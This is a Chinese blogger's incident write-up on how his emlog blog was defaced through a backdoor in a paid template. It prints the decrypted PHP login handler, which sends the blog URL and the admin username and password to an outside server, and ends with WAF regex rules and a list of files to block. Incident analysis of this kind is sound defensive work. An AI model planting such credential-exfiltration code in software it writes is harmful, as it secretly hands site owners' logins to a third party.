作者:jasonx

原文来自:记一次博客被日的分析过程 

前言:

人在江湖漂,哪能不挨刀。小弟我的博客在21号被日了,想不到从来都是我日人,如今却惨被人日(悲伤脸)

其实挨刀不可怕,可怕的是他砍到了我这块铁板上,滋出了一溜的火花。所谓知己知彼方能百战不殆,必须知道对方是如何拿下我网站的,如果不分析出原因,下次被日的还是小弟我。

所以接下来,我们要对整个入侵事件进行一次简单的分析。

0x01 博客基本情况

我博客用的系统是 centos6,博客程序是emlog的cms。模块是一个付费模块【fly】
说实话这个模块挺好看的,首次安装的时候我就D盾扫了下,看看是不是有后门,扫描结果除了发现几个加密的php文件,其他看起来也没啥毛病,所以就没管了,想不到就是这几个加密文件,才导致了博客被入侵。

被入侵的时间是8月21号,登录服务器后发现文件被删,index.php文件被篡改。
文件修改时间是2018年8月21日18:04:15
被挂的黑页如下:

等等,这他妈不是我使用的模块售后群吗?
难道是作者日了我的站点?
当然不排除是其他黑客日了以后故意甩锅给作者,所以我们先来分析一下日志再说。

0x02 入侵过程分析

首先我博客是用宝塔的控制面板,但是我888端口做了白名单,只有跳板IP可以访问这个端口,ssh端口也做了白名单,没有开放ftp,mysql没有开放外联,waf用的云锁。

第一步我们先登录云锁看看,在20号左右没有发现可疑日志。
那么我们先看看日志吧,先拨号上跳板,然后输入xxxx.cc:888登录云锁控制台。
然后进入【安全】菜单,点击web日志的路径进入。

然后下载19号之前和22号以后的日志

我的博客也没啥流量,所以日志文件比较小,直接notepad++打开就行了。
因为之前看到那个黑页的修改时间是2018年8月21日16:15:15
所以直接定位到8月21日18点04分左右的部分开始看.

直接在notepad++里面查找关键词【.php】

然后定位到18点以后的部分。

疑似入侵者IP:222.240.56.48
查询一下,湖南长沙的

现在咱们挨个文件看看他是如何发起攻击的。

0x03 多做备份才能减少损失

因为博客上的文件已经被他删得差不多了,只剩下一些配图文件夹,不过还好本屌对接了阿里云的oss。
每3天自动备份整站到阿里云oss。

这里不得不赞一下阿里云的oss,如果只是归档存储的话,价格很便宜,不下载备份文件不用付费,只要购买储存空间就行了

我们登录阿里云控制台,进入oss存储。

然后进入文件管理,可以看到在19号之前的备份文件都是30多M
但是22号以后备份只有10多M了

所以我们得下载19号的这个备份文件去恢复到博客。
点击19号这个文件,进入以后解冻文件,然后等大概两分钟就会解冻成功。

然后就能看到下载地址了,直接下载后上传到我们博客,然后解压就行了。

----小提示----

在恢复站点前,我们先闭站。
先把80端口和443端口加个白名单,只允许我们的IP访问,这样可以避免在你没有查出问题之前,又被人给日了。

0x04 官方后门 最为致命

他访问的第一个文件 /include/lib/checkcode.php
我们本地访问以下看看,发现这是验证码的文件。

第二个文件/content/templates/FLY/inc/ajax.php?a=ajax
我们直接访问后显示;
{"code":"208"}

如果管理员处于登录博客状态,会返回账号密码等等数据。

那么问题肯定出在这个ajax.php上面了,我们打开看看。
厉害厉害,加密了,这里非常感谢“空格表哥”帮忙解密了这个文件

我们查找ajax看看,发现在这里,账号密码被打印出来了。

日志里面发现post了一个数据
/content/templates/FLY/inc/ajax.php?a=login

我们在解密后的ajax.php里面搜索login看看
好家伙,官方后门真可怕,看到我注释的地方,已经明白大概是啥意思了。

我们登录博客后台后,会把url   账号 密码等等数据传送到作者的以下地址。
https://api.pjax.cn/i.php?data=

贴上代码

if ($_GET['a'] == 'login') {$username = isset($_POST['user']) ? addslashes(trim($_POST['user'])) : '';$password = isset($_POST['pw']) ? addslashes(trim($_POST['pw'])) : '';$ispersis = isset($_POST['ispersis']) ? intval($_POST['ispersis']) : false;$img_code = Option::get('login_code') == 'y' && isset($_POST['imgcode']) ? addslashes(trim(strtoupper($_POST['imgcode']))) : '';$errorCode = LoginAuth::checkUser($username, $password, $img_code);if ($errorCode === true) {LoginAuth::setAuthCookie($username, $ispersis);$userinfo = LoginAuth::getUserDataByLogin($username);$json = array('code' => '200', 'data' => $userinfo);$tempath = @file_get_contents(EMLOG_ROOT . '/content/templates/FLY/fonts/FontAwesome.woff');$tempath = base64_decode($tempath);if ($tempath != BLOG_URL && $userinfo['role'] == 'admin') {#$url = 'https://api.pjax.cn/i.php?data=' . urlencode('盗版地址:' . BLOG_URL . '|盗版管理员账号:' . $username . '|盗版管理员密码:' . $password . '|泄露源:' . $tempath);#$data = @file_get_contents($url);}} else {if ($errorCode == '-3') {$json = array('code' => '201', 'info' => '验证码输入有误');} else {if ($errorCode == '-1') {$json = array('code' => '202', 'info' => '账号或密码错误');} else {if ($errorCode == '-2') {$json = array('code' => '203', 'info' => '账号或密码错误');}}}}echo json_encode($json);

我们继续往下看。

在这里他上传了一个模块文件,然后安装。

因为日志里面没有发现他访问了其他PHP文件,所以我首页文件index.php被修改的可能只有一个,就是他上传的模块里面已经写好了黑页,然后上传模块,覆盖掉我网站上面的首页文件。

然后删除我的模块,这也证明了为什么只删除了模块,而我文章配图文件夹都还在的原因。

0x05 我们该去找找攻击者了

先再确认一下是不是作者干的,通过日志已经知道IP地址了。
222.240.56.48
查询是湖南长沙的。

没错了,就是你了,直接问下作者是啥意思。



事情已经很明了啦,因为我之前购买以后换过一次域名,作者以为我现在这个域名是盗用了他的模块,然后把我日的,躺枪了,这他妈是误伤啊。但是模块存在后门这个是事实。

总结下过程

1.作者在/content/templates/FLY/inc/ajax.php文件里面写了个后门
2.我们正常登录后台以后,会自动把你的后台地址,账号密码发送到作者哪里
3.然后作者那边有个授权列表,会做对比,如果不在授权列表里面,会单独标记出来。
4.然后某一天你就被作者删模块,挂黑页了.....

避免被日方法

以防护软件【云锁】为例;
打开云锁,进入详细设置

进入漏洞防护设置

新增一条防护规则

用正则禁止访问/admin后台下的文件。
正则表达式;
/admin([\s\S]*?)
注意:新增这个规则以后你会无法访问后台,不过你可以把你ip或者跳板机加入白名单,以后只有你跳板机和你IP可以访问/admin下面的所有文件。

继续禁止ajax=login
([\s\S]*?)?a=login

禁止下列几个文件访问
useragent_setting.php
install.php.lock
setting.php
functions.php

写在最后

虽然这是一起误伤事件,但是改变不了把我站日了的事实,所以,我做了一个决定,直接公开你的模块,并写出避免被日的方法。
收费模块在最后,阅读原文可见。

ajax文件后门部分已经被我注释掉了,表哥们安心使用就是了。
另外有几个加密文件不知道干啥用的,有兴趣的表哥们自行解密研究看看。

原文来自:记一次博客被日的分析过程 

记一次博客被日的分析过程相关推荐

  1. 无监督关键短语的生成问题博客13--Segmentation.py的分析

    2021SC@SDUSC 在上一篇博客中,我们分析了TextRank4Keyword类中的函数,但实际上TextRank中词图的构建和文本预处理是由Segmentation.py和utils.py实现 ...

  2. (何凳成博客)MySQL 加锁处理分析——学习笔记

    1. 准备测试数据 use test; CREATE TABLE t1(id int,name varchar(20)); alter table t1 add primary key(id); in ...

  3. 使用Hexo搭建博客,备份至GitHub过程(基于网上资料的实践操作)

    参考资料: 使用hexo,如果换了电脑怎么更新博客? https://www.zhihu.com/question/21193762 其中,最多赞回答(转至其博文): http://crazymilk ...

  4. 博客系统架构对比分析

    新浪博客系统架构(http://blog.sina.com.cn): web服务器:nginx+apache cgi:php 博客应用服务器: 猜测是c++,  memcachdb. 存储系统:mys ...

  5. 无监督关键短语的生成问题博客02--extract.py的分析

    2021SC@SDUSC 在上一篇博客中,我们小组各位成员阅读了<Unsupervised Deep Keyphrase Generation>这篇论文,了解了这一关键词抽取模型的任务与主 ...

  6. mysql加锁分析 何登成_何登成的技术博客 ? MySQL 加锁处理分析

    背景 MySQL/InnoDB的加锁分析,一直是一个比较困难的话题.我在工作过程中,经常会有同事咨询这方面的问题.同时,微博上也经常会收到MySQL锁相关的私信,让我帮助解决一些死锁的问题.本文,准备 ...

  7. 个人博客网站的详细搭建过程

    最近一直在忙于搭建自己的博客网站,所以这里的文章更新的比较少.索性这次我就介绍一下自己的网站搭建过程.这里是我这次搭建的个人博客地址www.sunrobin.net 在搭建任何网站的时候,首先我们要有 ...

  8. larver php7.0,关于PHP7.0与PHP5.6下Laravel博客应用性能对比分析详解

    目前我安装的 Homestead 虚拟机版本是 2.1.8: 该版本 Homestead 上预装的 PHP 版本是 5.6.15: 我们使用 ab 命令(Apache 提供的性能测试工具)在该版本中测 ...

  9. 个人博客作业week3——案例分析

    1.调研 & 评测 1.我的用户体验 win10应用版: Bug1:例句经过翻译与其给出的译文相差太多 上图是应用给出的每日一句及其译文. 将其复制入翻译,就可以看出翻译过后的句子一点也不通顺 ...

最新文章

  1. 购买《四级网络工程师预测试卷与考点解析》,哪里最便宜?
  2. vue ajax提交防止伪造,axios+vue防止点击提交按钮而发送多次请求
  3. 网络安全06_安装Windows XP_几个虚拟机能够相互ping通,并且能够ping通互联网114.114.114.114
  4. ElasticSearch Java SpringBoot根据时间范围分组求和
  5. MFC中属性表单和向导对话框的使用
  6. debian vbox设置_在Debian 9 Stretch系统上安装VirtualBox的两种方法
  7. Windows Mobile 中 Cellular Emulator 与 Device Emulator 连接不上的解决办法?
  8. android生命周期_Android活动生命周期– 7个阶段和功能
  9. dict.get 用法笔记
  10. 函数项数列以及函数项级数收敛判别
  11. android 市场 百度地图,百度地图 下载_地图导航软件_车载安卓应用_路畅市场
  12. C# excel导入导出,NOPI ,简单例子
  13. Telco Customer Churn(电信客户流失相关数据集)
  14. [VS2010]逸雨清风 永久稳定音乐外链生成软件V0.1
  15. 冈萨雷斯《数字图像处理》学习笔记(五)图像复原
  16. 常用的但是容易忘记的css样式..........持续更新,主要自用
  17. 100个Python实战项目(附源码),练完即可就业,从入门到进阶
  18. 小说的逻辑与反逻辑_小说内部的逻辑与反逻辑
  19. 腐烂国度2巨霸版计算机学知识,腐烂国度2巨霸版玩法技巧汇总
  20. u8信息服务器,u8服务器的配置

热门文章

  1. 三分钟快速开发手机号注册登录功能
  2. UTC时间转换北京时间
  3. java中属于高级事件的有,(盘点)计算机等级考试题库,二级Java试题
  4. ip(点分十进制 == 二进制整数)之间的转换
  5. JS方法中打印本方法名称
  6. mysql数字型不为空语句,mysql查询语句select-(null,not null,is null和is not null)
  7. Redis 延时任务方案分析
  8. java 科里化_关于柯里化(curry)
  9. 网络协议 -- HTTP协议
  10. 倍增收入,大学生兼职经验分享